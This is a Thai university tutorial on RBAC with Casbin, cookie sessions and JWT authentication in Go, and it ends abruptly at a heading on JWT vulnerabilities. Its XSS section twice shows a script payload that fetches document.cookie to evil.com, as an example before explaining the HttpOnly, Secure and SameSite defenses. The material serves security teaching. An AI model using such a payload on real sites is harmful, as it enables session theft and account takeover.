Auth Service 101

บทความโดย มหาวิทยาลัยศิลปากรมหาวิทยาลัยศิลปากร

ภาควิชาคอมพิวเตอร์มหาวิทยาลัยศ

บทความโดย ผศ.ดร.ณัฐโชติ พรหมฤทธิ์ และ อ.ดร.สัจจาภรณ์ ไวจรรยา
ภาควิชาคอมพิวเตอร์
คณะวิทยาศาสตร์
มหาวิทยาลัยศิลปากร

บทความนี้ใช้สำหรับสอนนักศึกษาเกี่ยวกับการทำ JWT Authentication และการทำ Authorization ใน Auth Service (REST API) พร้อมตัวอย่าง Code ภาษา Go เพื่อให้เข้าใจวิธีการตรวจสอบสิทธิ์และการป้องกันการเข้าถึงข้อมูลได้อย่างถูกต้อง

พื้นฐานของ Authentication และ Authorization

Authentication หรือ การตรวจสอบตัวตน เป็นกระบวนการที่ใช้ข้อมูลการยืนยันตัวตนของผู้ใช้ เช่น Username และ Password

หลังจากที่ระบบตรวจสอบตัวตนแล้ว จะมีการกำหนดสิทธิ์การเข้าถึงทรัพยากร หรือ API ต่าง ๆ (Authorization) โดยอาจใช้แนวคิด Role-Based Access Control (RBAC) เพื่อกำหนดบทบาท (Role) ให้กับผู้ใช้และกำหนดสิทธิ์ (Permission) ที่สอดคล้องกับความรับผิดชอบของแต่ละบทบาท

RBAC เป็นแนวทางในการจัดการสิทธิ์ โดยแบ่งผู้ใช้ออกเป็นกลุ่ม (Role) และผูกสิทธิ์ (Permission) กับ Role นั้น ๆ เปรียบเสมือนการจัดการกุญแจเข้าห้องต่าง ๆ ในโรงเรียน โดยแต่ละคนจะมีกุญแจที่เปิดได้ไม่เหมือนกัน ขึ้นอยู่กับบทบาทของเขา

ตัวอย่างการใช้ RBAC ในระบบทะเบียนนักศึกษา โดยกำหนดบทบาท (Role) 3 แบบ ได้แก่

  • ผู้ใช้ที่มี Role เป็นผู้ดูแลระบบ (admin) สามารถจัดการรายวิชาได้ทั้งหมด และดูข้อมูลนักศึกษา
  • ผู้ใช้ที่มี Role เป็นอาจารย์ (teacher) สามารถดูรายวิชา ให้เกรด และดูข้อมูลนักศึกษา
  • ผู้ใช้ที่มี Role เป็นนักศึกษา (student) สามารถดูรายวิชาและเกรดของตนเอง

แต่ละ Role จะมีสิทธิ์ (Permission) ที่แตกต่างกัน โดย Permission ถูกกำหนดในรูปแบบ ใคร (admin, teacher และ student) สามารถทำ อะไร (create, update, delete และ view) กับ ทรัพยากรใด (course, student และ grade)

Casbin เป็น Library ใน go ที่รองรับการกำหนดและตรวจสอบสิทธิ์ตามโมเดลต่าง ๆ รวมถึง RBAC โดย Casbin จะใช้ File โมเดล (Model Configuration) และ File นโยบาย (Policy) เพื่อกำหนดว่าใคร (Subject) สามารถทำอะไร (Action) กับทรัพยากร (Object) ได้บ้าง

ตัวอย่าง RBAC ใน Casbin โดยมีโครงสร้างของ Project ดังต่อไปนี้

.
├── auth
├── go.mod
├── go.sum
├── main.go
├── model.conf
└── policy.csv
  1. model.conf

File นี้จะกำหนดรูปแบบของ request, policy, role definition, และ matchers ที่ใช้ในการตรวจสอบสิทธิ์

[request_definition]
r = sub, obj, act

[policy_definition]
p = sub, obj, act

[role_definition]
g = _, _

[policy_effect]
e = some(where (p.eft == allow))

[matchers]
m = g(r.sub, p.sub) && r.obj == p.obj && r.act == p.act
model.conf

[request_definition] คือ การกำหนดรูปแบบของข้อมูลที่ส่งเข้ามา (เช่น subject, object, action)

[policy_definition] คือ การกำหนดรูปแบบของนโยบาย (Policy) ว่า Role ใดสามารถกระทำอะไรกับทรัพยากรใด

[role_definition] คือ การกำหนดความสัมพันธ์ระหว่าง subject กับ role เช่น g, alice, admin

[matchers] คือ การกำหนดเงื่อนไขในการจับคู่สิทธิ์ ซึ่งในที่นี้จะเช็คว่า subject มี Role ที่ตรงกับนโยบายหรือไม่ และตรวจสอบว่า object กับ action ตรงกันหรือไม่

2. policy.csv

File นี้จะกำหนดนโยบาย (Policy) ว่า Role ใดสามารถทำอะไรกับทรัพยากรใดได้ตามที่ออกแบบไว้

# นโยบายสำหรับผู้ดูแลระบบ (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# นโยบายสำหรับอาจารย์ (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# นโยบายสำหรับนักศึกษา (student)
p, student, course, view
p, student, grade, view

# กำหนดความสัมพันธ์ระหว่างผู้ใช้กับ Role
g, alice, admin
g, bob, teacher
g, charlie, student
policy.csv

3. ตัวอย่าง Code การใช้งาน Casbin

Code ตัวอย่างด้านล่างนี้แสดงวิธีการสร้าง Casbin enforcer และการตรวจสอบสิทธิ์ตามนโยบายในระบบทะเบียนนักศึกษา โดยมีรายละเอียดดังต่อไปนี้

สร้าง enforcer ด้วยการระบุไฟล์โมเดล (model.conf) และไฟล์นโยบาย (policy.csv)

ใช้ e.Enforce(sub, obj, act) ในการตรวจสอบสิทธิ์ เช่น e.Enforce("alice", "course", "create") จะตรวจสอบว่า alice (ซึ่งมี Role admin ตามที่กำหนดในไฟล์นโยบาย) มีสิทธิ์ในการสร้าง (create) รายวิชา (course) หรือไม่

ผลลัพธ์ที่ได้จะแสดงว่าผู้ใช้แต่ละคนสามารถกระทำ action กับทรัพยากรตามที่กำหนดได้หรือไม่

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// ตัวอย่างตรวจสอบสิทธิ์

	// 1. ตรวจสอบว่า alice (admin) สามารถสร้างรายวิชาได้หรือไม่
	ok, err := e.Enforce("alice", "course", "create")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can alice create course? %v\n", ok) // ควรได้ true

	// 2. ตรวจสอบว่า bob (teacher) สามารถลบรายวิชาได้หรือไม่ (teacher ไม่มีสิทธิ์ลบรายวิชา)
	ok, err = e.Enforce("bob", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can bob delete course? %v\n", ok) // ควรได้ false

	// 3. ตรวจสอบว่า bob (teacher) สามารถดูรายวิชาได้หรือไม่
	ok, err = e.Enforce("bob", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can bob view course? %v\n", ok) // ควรได้ true

	// 4. ตรวจสอบว่า charlie (student) สามารถดูเกรดของตนเองได้หรือไม่
	ok, err = e.Enforce("charlie", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can charlie view grade? %v\n", ok) // ควรได้ true

	// 5. ตรวจสอบว่า charlie (student) สามารถแก้ไขเกรดได้หรือไม่
	ok, err = e.Enforce("charlie", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can charlie update grade? %v\n", ok) // ควรได้ false
}
main.go

Casbin รองรับการที่ผู้ใช้ (user) สามารถมีหลาย role ได้ โดยใช้กลไกของ group definition (ส่วนที่ระบุด้วย g)

ปรับปรุง policy.csv ให้ผู้ใช้สามารถมีหลาย role ได้

# นโยบายสำหรับผู้ดูแลระบบ (admin)
p, admin, course, create
p, admin, course, update
p, admin, course, delete
p, admin, course, view
p, admin, student, view

# นโยบายสำหรับอาจารย์ (teacher)
p, teacher, course, view
p, teacher, grade, update
p, teacher, student, view
p, teacher, grade, view

# นโยบายสำหรับนักศึกษา (student)
p, student, course, view
p, student, grade, view

# กำหนดความสัมพันธ์ระหว่างผู้ใช้กับ Role
g, alice, admin
g, bob, teacher
g, charlie, student

# สมมุติว่า nuttachot สามารถมีหลาย role คือ teacher และ student
g, nuttachot, teacher
g, nuttachot, student
policy.csv

เมื่อมีการตรวจสอบสิทธิ์สำหรับ nuttachot ระบบจะตรวจสอบผ่านทั้งนโยบายที่กำหนดไว้สำหรับ teacher และ student

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// ตรวจสอบสิทธิ์สำหรับ nuttachot ที่มี role teacher และ student

	// 1. ตรวจสอบว่า nuttachot สามารถดูรายวิชา (teacher: view) ได้หรือไม่
	ok, err := e.Enforce("nuttachot", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot view course? %v\n", ok) // ควรได้ true (เพราะ teacher มีสิทธิ์ view course)

	// 2. ตรวจสอบว่า nuttachot สามารถให้เกรด (teacher: update grade) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot update grade? %v\n", ok) // ควรได้ true (เพราะ teacher มีสิทธิ์ update grade)

	// 3. ตรวจสอบว่า nuttachot สามารถดูเกรด (student: view grade) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot view grade? %v\n", ok) // ควรได้ true (เพราะ student มีสิทธิ์ view grade)

	// 4. ตรวจสอบว่า nuttachot สามารถลบรายวิชา (teacher/student ไม่มีสิทธิ์ delete) ได้หรือไม่
	ok, err = e.Enforce("nuttachot", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can nuttachot delete course? %v\n", ok) // ควรได้ false
}
main.go

เราสามารถเพิ่มผู้ใช้ใหม่ที่มีหลาย role ได้ (ในตัวอย่างนี้คือ sajjaporn ที่มี role เป็นทั้ง teacher และ student)

เราจะใช้ Function e.AddGroupingPolicy(user, role)และ e.SavePolicy() เพื่อเพิ่มความสัมพันธ์ระหว่างผู้ใช้กับ role โดยมีเป้าหมาย คือ การเพิ่ม group definition (ส่วนที่ระบุด้วย g) ลงใน File policy.csv ดังตัวอย่างต่อไปนี้

g, sajjaporn, teacher
g, sajjaporn, student
policy.csv

ซึ่ง AddGroupingPolicy จะบันทึกการเปลี่ยนแปลงลงในหน่วยความจำ ส่วน e.SavePolicy() จะบันทึกการเปลี่ยนแปลงลงใน File policy.csv

package main

import (
	"fmt"
	"log"

	"github.com/casbin/casbin/v2"
)

// ฟังก์ชันช่วยแสดงนโยบายทั้งหมด
func printPolicies(e *casbin.Enforcer) {
	policies, err := e.GetPolicy()
	if err != nil {
		fmt.Printf("Error retrieving policies: %v\n", err)
		return
	}
	groupingPolicies, err := e.GetGroupingPolicy()
	if err != nil {
		fmt.Printf("Error retrieving grouping policies: %v\n", err)
		return
	}

	fmt.Println("Direct Policies:")
	for _, p := range policies {
		fmt.Println(p)
	}
	fmt.Println("Grouping Policies:")
	for _, g := range groupingPolicies {
		fmt.Println(g)
	}
}

func main() {
	// โหลด enforcer จากไฟล์ model.conf และ policy.csv
	e, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	// แสดงนโยบายก่อนเพิ่ม user ใหม่
	fmt.Println("Policies before adding new user:")
	printPolicies(e)

	// เพิ่ม sajjaporn ให้มี role เป็นทั้ง teacher และ student
	added, err := e.AddGroupingPolicy("sajjaporn", "teacher")
	if err != nil {
		log.Fatalf("Error adding grouping policy: %v", err)
	}
	if added {
		fmt.Println("Added grouping policy: (sajjaporn, teacher)")
	}
	added, err = e.AddGroupingPolicy("sajjaporn", "student")
	if err != nil {
		log.Fatalf("Error adding grouping policy: %v", err)
	}
	if added {
		fmt.Println("Added grouping policy: (sajjaporn, student)")
	}

	// บันทึกนโยบายกลับไปที่ไฟล์
	if err := e.SavePolicy(); err != nil {
		log.Fatalf("Error saving policy: %v", err)
	}

	// แสดงนโยบายหลังจากเพิ่ม user ใหม่
	fmt.Println("\nPolicies after adding new user:")
	printPolicies(e)

	// ทดสอบตรวจสอบสิทธิ์ของ sajjaporn
	// 1. ตรวจสอบว่า sajjaporn สามารถดูรายวิชา (action "view" บน "course") ได้หรือไม่
	ok, err := e.Enforce("sajjaporn", "course", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("\nCan sajjaporn view course? %v\n", ok) // คาดหวัง true (เนื่องจาก teacher มีสิทธิ์ view course)

	// 2. ตรวจสอบว่า sajjaporn สามารถให้เกรด (action "update" บน "grade") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "grade", "update")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn update grade? %v\n", ok) // คาดหวัง true (teacher มีสิทธิ์ update grade)

	// 3. ตรวจสอบว่า sajjaporn สามารถดูเกรด (action "view" บน "grade") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "grade", "view")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn view grade? %v\n", ok) // คาดหวัง true (student มีสิทธิ์ view grade)

	// 4. ตรวจสอบว่า sajjaporn สามารถลบรายวิชา (action "delete" บน "course") ได้หรือไม่
	ok, err = e.Enforce("sajjaporn", "course", "delete")
	if err != nil {
		log.Fatalf("Enforce error: %v", err)
	}
	fmt.Printf("Can sajjaporn delete course? %v\n", ok) // คาดหวัง false (ไม่มี role ที่ให้สิทธิ์ delete course)
}
main.go

หมายเหตุ ในระบบ Production เราอาจใช้ฐานข้อมูลเพื่อจัดเก็บ Policy และจัดการสิทธิ์ผ่าน API แต่สำหรับตัวอย่างนี้เราใช้ File policy.csvเพื่อความง่ายในการสาธิต

Cookie เป็นข้อมูลเล็ก ๆ ที่ Server ฝากไว้ใน Browser ช่วยให้ Website จดจำผู้ใช้และสถานะต่าง ๆ ได้ เช่น เราชอบอะไร หรือทำอะไรไปแล้ว เหมือนป้ายชื่อที่ติดตัวเราไปทุกหน้า Web ช่วยให้เกิดประสบการณ์การใช้งานที่ต่อเนื่องและสะดวกขึ้น แม้ว่าในเราจะใช้ HTTP/HTTPS Protocol ในการสื่อสารระหว่าง Server และ Browser ที่ปกติจะไม่จดจำข้อมูลระหว่าง Request แต่ละครั้ง

  • ผู้ใช้ให้ข้อมูล Credential เช่น ชื่อผู้ใช้และรหัสผ่าน
  • Server ตรวจสอบ ข้อมูล Credential และสร้าง Session ID หรือ Token
  • Session ID นี้จะถูกส่งไปยัง Browser และเก็บไว้ใน Cookie
  • ก่อนจะติดต่อกับ Server อีก Browser จะรวม Cookie ไว้ใน Cookie Header ของ HTTP Request โดยอัตโนมัติ
  • Server อ่าน Session ID จาก Cookie ตรวจสอบ และระบุตัวผู้ใช้

Session เป็นวิธีที่ Server ใช้จำผู้ใช้โดยเก็บข้อมูลไว้ที่ฝั่ง Server และให้ผู้ใช้ถือแค่ Session ID ผ่าน Cookie เหมือนการฝากสมุดข้อมูลไว้กับธนาคาร แล้วได้บัตรแสดงตน (Session ID ) มาใช้แทน

Session ถูกใช้เพื่อยืนยันตัวตนและติดตามสถานะผู้ใช้ ดังขั้นตอนต่อไปนี้

  • ผู้ใช้ให้ข้อมูล Credential เช่น ชื่อผู้ใช้และรหัสผ่าน
  • Server ตรวจสอบ ข้อมูล Credential และสร้าง Session ID ที่ไม่ซ้ำ ID นี้เหมือนกุญแจที่เชื่อมโยงไปยังข้อมูลของผู้ใช้
  • Session ID นี้จะถูกส่งไปยัง Browser และเก็บไว้ใน Cookie
  • Server จะเก็บข้อมูลของผู้ใช้ไว้ในหน่วยความจำ ฐานข้อมูล หรือที่เก็บอื่น ๆ โดยใช้ Session ID เป็นกุญแจในการค้นหา เช่น

    ผู้ใช้ nuttachot
    สิทธิ์ admin
    เวลาเริ่ม 2025-02-22 10:00
  • ทุกครั้งที่ผู้ใช้ส่ง Request เช่น ดูหน้า Profile, Browser จะส่ง Session ID กลับมา ผ่าน Cookie
  • เมื่อ Server เห็น Session ID แล้วไปค้นข้อมูลในหน่วยความจำ ฐานข้อมูล หรือที่เก็บอื่น ๆ ก็จะรู้ว่าเป็น nuttachot และมีสิทธิ์อะไร

Session มีอายุจำกัด (Time-to-Live หรือ TTL) เช่น 30 นาที ถ้าไม่มีการใช้งาน หรือ 24 ชั่วโมงสูงสุด ถ้าหมดอายุ Server จะลบข้อมูล ทำให้ผู้ใช้ต้อง Login ใหม่

Server จะลบข้อมูลที่ผูกกับ Session ID ให้กลายเป็นโมฆะ เมื่อผู้ใช้ Logout หรือมีปัญหาความปลอดภัย

Cross-Site Scripting (XSS)

XSS คือการที่ Hacker ฉีด Code JavaScript ที่เป็นอันตรายเข้าไปใน Website เพื่อให้ Code นั้นทำงานใน Browser ของผู้ใช้ ถ้า Website เก็บข้อมูลสำคัญไว้ใน Cookie (เช่น Session ID หรือ Token) Code ที่ถูกฉีดเข้ามา จะสามารถขโมย Cookie ได้ผ่านคำสั่ง document.cookie

เมื่อ Hacker ได้ Cookie ไป พวกเขาสามารถปลอมเป็นตัวเรา เพื่อเข้าถึงบัญชีธนาคาร หรือทำอะไรอย่างอื่นที่แย่กว่านั้นได้

สมมติเราใช้ Website ธนาคารที่มี Cookie สำหรับเก็บ Session ID การ Login

Server ตั้งค่า Set-Cookie: sessionId=abc123

Hacker ฉีด Code <script>fetch('https://evil.com?cookie=' + document.cookie)</script>

ผลลัพธ์ abc123 จะถูกส่งไปที่ evil.com แล้ว Hacker ก็ใช้ในการ Login แทนเราได้

การป้องกัน XSS

เราสามารถป้องกันไม่ให้ JavaScript อ่าน Cookie ได้โดยให้ Server ตั้งค่า Cookie เป็น HttpOnly เพื่อบอก Browser ว่า ห้ามให้ JavaScript เข้าถึง Cookie นี้เด็ดขาด ทำให้ document.cookie ไม่แสดง Session ID

Server ตั้งค่า Set-Cookie: sessionId=abc123; HttpOnly

Hacker ฉีด Code <script>fetch('https://evil.com?cookie=' + document.cookie)</script>

ผลลัพธ์ "" (สตริงว่างเปล่า) จะถูกส่งไปที่ evil.com

Man-in-the-Middle Attack (MITM)

MITM คือการที่ Hacker สามารถดักจับข้อมูลที่ส่งระหว่างผู้ใช้กับ Server ได้ ถ้า Cookie (เช่น Session ID) ถูกส่งผ่าน HTTP ซึ่งไม่มีการเข้ารหัส ข้อมูลจะอยู่ในรูป Plain Text ทำให้ Hacker ขโมย Session ID ไปใช้ได้ง่าย ๆ

การป้องกัน MITM

เราสามารถบังคับให้ Cookie เป็น Secure เพื่อให้มันถูกส่งผ่านการเชื่อมต่อที่ปลอดภัยผ่าน HTTPS เท่านั้น ถ้า Website พยายามใช้ HTTP แล้ว Cookie จะไม่ถูกส่งไปด้วย

Server ตั้งค่า Set-Cookie: sessionId=abc123; Secure; HttpOnly

Cross-Site Request Forgery (CSRF)

เป็นการโจมตีที่ Hacker หลอกให้ Browser ของผู้ใช้ส่ง Request ไปยัง Website ที่ผู้ใช้เคย Login ไว้ โดยที่ผู้ใช้ไม่รู้ตัวหรือไม่ได้ตั้งใจ คำขอนี้มักจะเป็นการกระทำที่สำคัญ เช่น การโอนเงิน การเปลี่ยนรหัสผ่าน หรือการลบข้อมูล ฯลฯ

สมมติว่าเรา Login เข้า Web ธนาคาร (bank.com) และมี Session Cookie เก็บอยู่ใน Browser

เราเปิด Tab ใหม่ แล้วเผลอเข้าเว็บอันตรายที่ Hacker สร้าง (evil.com) โดย evil.com มี Code ซ่อนอยู่ เช่น URL ที่ส่ง Request ไปยัง bank.com/transfer?amount=1000&to=attacker โดยอัตโนมัติ

Browser เห็นว่าเป็น Request ไป bank.com ก็ส่ง Session Cookie ไปด้วย เมื่อ Server ของ bank.com เห็น Cookie แล้วคิดว่าเป็น Request จากเราจริง ๆ ก็โอนเงินให้ Hacker ทันที

การป้องกัน CSRF

อาจเพิ่มรหัสลับที่ Hacker เดาไม่ได้ โดย Server ส่งให้ผู้ใช้ตอน Login ทุกครั้งที่ส่ง Request สำคัญ เช่น การโอนเงิน ผู้ใช้ต้องแนบรหัสลับนี้ไปด้วย เพื่อให้ Server ตรวจว่ารหัสลับถูกต้องหรือไม่ ถ้าไม่มีหรือไม่ตรง Request จะถูกปฏิเสธ

หรืออาจให้ Server เพิ่ม SameSite Attribute ใน Cookie

Server ตั้งค่า Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict ทำให้ Cookie จะถูกส่งเฉพาะเมื่อคำขอมาจาก Web เดียวกัน เช่น bank.com ไม่ใช่จาก Web อื่น

SameSite=Lax อนุญาตบางกรณี เช่น การคลิก Link แต่จะบล็อกคำขอข้าม Site ที่เป็นอันตราย เช่น จาก Script หรือ Form อัตโนมัติ

แต่การเก็บ Session บน Server (Stateful) จะทำให้ไม่สามารถ Scale Server เพื่อรองรับการใช้งานที่เพิ่มขึ้นได้ง่าย ๆ

พื้นฐานของ JSON Web Token (JWT)

JWT ประกอบด้วย 3 ส่วนหลัก ที่เข้ารหัส (Encode) แบบ Base64URL (ที่ปรับตัวอักษรให้เข้ากับ URL ได้ โดยเปลี่ยน + เป็น -, / เป็น _, และตัด = ออก ทำให้ Token ถูกส่งผ่าน URL ได้สะดวก ปลอดภัย และไม่ต้องเข้ารหัสเพิ่ม) แล้วนำมาต่อกันด้วย . ได้แก่

  • Header สำหรับระบุประเภทของ Token (JWT) และ Algorithm ที่ใช้ลงนาม เช่น HS256
{
  "alg": "HS256",
  "typ": "JWT"
}
  • Payload สำหรับบรรจุข้อมูล Claim เช่น User ID, Role เวลา Expiration (exp) เป็นต้น
{
  "exp": 1738894041,
  "username": "nuttachot"
}
  • Signature สำหรับการเข้ารหัส (Encrypt) เพื่อให้แน่ใจว่า Token ไม่ถูกแก้ไข โดยใช้ Secret Key หรือในบางระบบอาจใช้ Private/Public Key
HMACSHA256(
    base64UrlEncode(header) + "." + base64UrlEncode(payload),
    Secret Key
)

ตัวอย่าง JWT 3 ส่วนที่นำมาต่อกันด้วย .

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY

การใช้งานในระบบ Auth Service

  • เมื่อผู้ใช้ Login แล้ว ระบบจะออก JWT ให้กับผู้ใช้ โดย Token นี้จะถูกส่งกลับไปใน Response
  • เมื่อ Client ขอใช้งานระบบ JWT จะถูกส่งมายัง Backend กับ Request ใน Header (Authorization: Bearer JWT)
  • Server ที่รับ Request สามารถตรวจสอบ Token ด้วยการ Validate Signature และตรวจสอบการ Claim ต่าง ๆ (เช่น ตรวจสอบเวลาหมดอายุ)
  • เมื่อผ่านการตรวจสอบแล้ว จึงส่งข้อมูลกลับไปให้ Client
How JWT Authentication Work?

Code ด้านล่างต่อไปนี้เป็นตัวอย่างการใช้งาน JWT ในระบบ Auth Service โดยเมื่อผู้ใช้ Login สำเร็จ ระบบจะส่ง JWT กลับมา และเมื่อมีการเรียกใช้ Endpoint ที่ต้องการการ Authentication ผู้ใช้ต้องส่ง Token ที่ถูกต้องใน Header (Authorization: Bearer JWT) ไปยัง Backend เพื่อให้ระบบตรวจสอบความถูกต้องของ Token ก่อนให้เข้าถึงข้อมูล

package main

import (
	"fmt"
	"net/http"
	"time"

	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v4"
)

// Secret key สำหรับใช้เข้ารหัส Token (ควรเก็บไว้เป็นความลับ)
var jwtSecret = []byte("your-secret-key")

// generateToken สร้าง JWT โดยรับ username เป็น claim พร้อมตั้งเวลาหมดอายุ (exp)
func generateToken(username string) (string, error) {
	// สร้าง token พร้อมกำหนด claims
	claims := jwt.MapClaims{
		"username": username,
		"exp":      time.Now().Add(72 * time.Hour).Unix(), // กำหนดอายุ token 72 ชั่วโมง
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

	// ลงนาม token ด้วย secret key
	tokenString, err := token.SignedString(jwtSecret)
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

// JWTAuthMiddleware เป็น middleware สำหรับตรวจสอบ JWT ใน Header ของ Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// ดึงค่า Authorization header
		authHeader := c.GetHeader("Authorization")
		if authHeader == "" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization header required"})
			c.Abort()
			return
		}

		// คาดว่า header อยู่ในรูปแบบ "Bearer <token>"
		var tokenString string
		if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid Authorization header format"})
			c.Abort()
			return
		}

		// ตรวจสอบและแปลง token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// ตรวจสอบว่าใช้ Signing Method ที่คาดหวังหรือไม่
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid or expired token"})
			c.Abort()
			return
		}

		// ดึงข้อมูล claims แล้วส่งต่อให้ handler ภายหลัง
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set("username", claims["username"])
		}
		c.Next()
	}
}

func main() {
	router := gin.Default()

	// Endpoint สำหรับ Login: เมื่อ Login ผ่านระบบจะออก JWT ให้กับผู้ใช้
	router.POST("/login", func(c *gin.Context) {
		// ตัวอย่างข้อมูล Login (ในความเป็นจริงควรตรวจสอบกับฐานข้อมูล)
		var loginData struct {
			Username string `json:"username"`
			Password string `json:"password"`
		}
		if err := c.ShouldBindJSON(&loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request payload"})
			return
		}

		// ตรวจสอบความถูกต้องของ username และ password (ตัวอย่างนี้ใช้ค่า static)
		if loginData.Username != "nuttachot" || loginData.Password != "password" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		// สร้าง JWT ให้กับผู้ใช้
		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to generate token"})
			return
		}

		// ส่ง Token กลับไปให้ Client
		c.JSON(http.StatusOK, gin.H{"token": token})
	})

	// สร้าง Group ของ Endpoint ที่ต้องการตรวจสอบ JWT
	protected := router.Group("/protected")
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint ตัวอย่างที่ต้องการ Authentication
		protected.GET("/profile", func(c *gin.Context) {
			// ดึง username จาก context ที่ถูกตั้งไว้ใน middleware
			username, _ := c.Get("username")
			c.JSON(http.StatusOK, gin.H{
				"message": fmt.Sprintf("Welcome %s! You have accessed a protected endpoint.", username),
			})
		})
	}

	// รัน Server ที่ port 8080
	router.Run(":8080")
}

ทดลอง Login และใช้งาน JWT ผ่าน Postman

  • เรียกใช้ REST API ด้วย Method POST ที่เส้น http://localhost:8080/login พร้อมส่ง JSON ดังต่อไปนี้
{
    "username": "nuttachot", 
    "password": "password"
}
  • หากข้อมูลถูกต้อง ระบบจะตอบกลับเป็น JSON ที่มี Token เช่น
{
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY"
}
  • ทดลองนำไป Decode ที่ https://jwt.io พร้อมใส่ Secret Key (your-secret-key) ของเราเอง
https://jwt.io
  • สร้าง Request ใหม่ด้วย Method GET ที่เส้น http://localhost:8080/protected/profile โดยไปที่ Tab Headers แล้วเพิ่ม header ดังต่อไปนี้
Key : Authorization
Value : Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTAzMjIsInVzZXJuYW1lIjoibnV0dGFjaG90In0.0ywTRAdb5l1tuTefEteSgdleEd0suHGLkej6Z5-ZBaY

JWT เป็น Stateless โดยมันจะเก็บข้อมูลทุกอย่างที่จำเป็นในตัวเอง ทำให้ Server ไม่ต้องจำอะไร และลดภาระในการ Query ข้อมูลของ Server แค่มีกุญแจลับเพื่อตรวจสอบมันก็พอ ซึ่งแตกต่างจากระบบแบบดั้งเดิม (Stateful) ที่ Server ต้องเก็บข้อมูล Session ไว้

เหมือนบัตรประชาชนที่บอกทุกอย่างเกี่ยวกับตัวเรา โดยไม่ต้องให้หน่วยงานรัฐที่ติดต่อต้องเก็บข้อมูลเพิ่ม ช่วยให้การทำงานของระบบง่าย รวดเร็ว และเหมาะกับ Distributed Architecture ทำให้สามารถเพิ่ม Server ใหม่ได้ทันที โดยไม่ต้องกังวลเรื่องการ Sync ข้อมูล Session

ข้อจำกัดหนึ่งของ JWT คือ ยกเลิกยาก JWT ไม่ได้ถูกเก็บไว้บน Server ถ้า JWT ถูกขโมย มันจะถูกใช้ได้จนหมดอายุ

เราสามารภแก้ได้ด้วยการทำ Blacklist แต่ก็จะขัดหลักการ Stateless หรือใช้ Refresh Token ซึ่งเป็น Token พิเศษที่มีอายุยาว (เช่น 7 วัน) มักเป็น String ยาว ๆ ที่สุ่มขึ้นมา โดยออกให้พร้อมกับ JWT ตอน Login ที่อายุสั้นกว่า (เช่น 15 นาที)

มันมีไว้เพื่อขอ JWT ใหม่เมื่อ JWT เดิมหมดอายุ โดยที่ผู้ใช้ไม่ต้องกรอกชื่อผู้ใช้และรหัสผ่านซ้ำ

การช่องโหว่ในการใช้ JWT

Cross-Site Scripting (XSS)

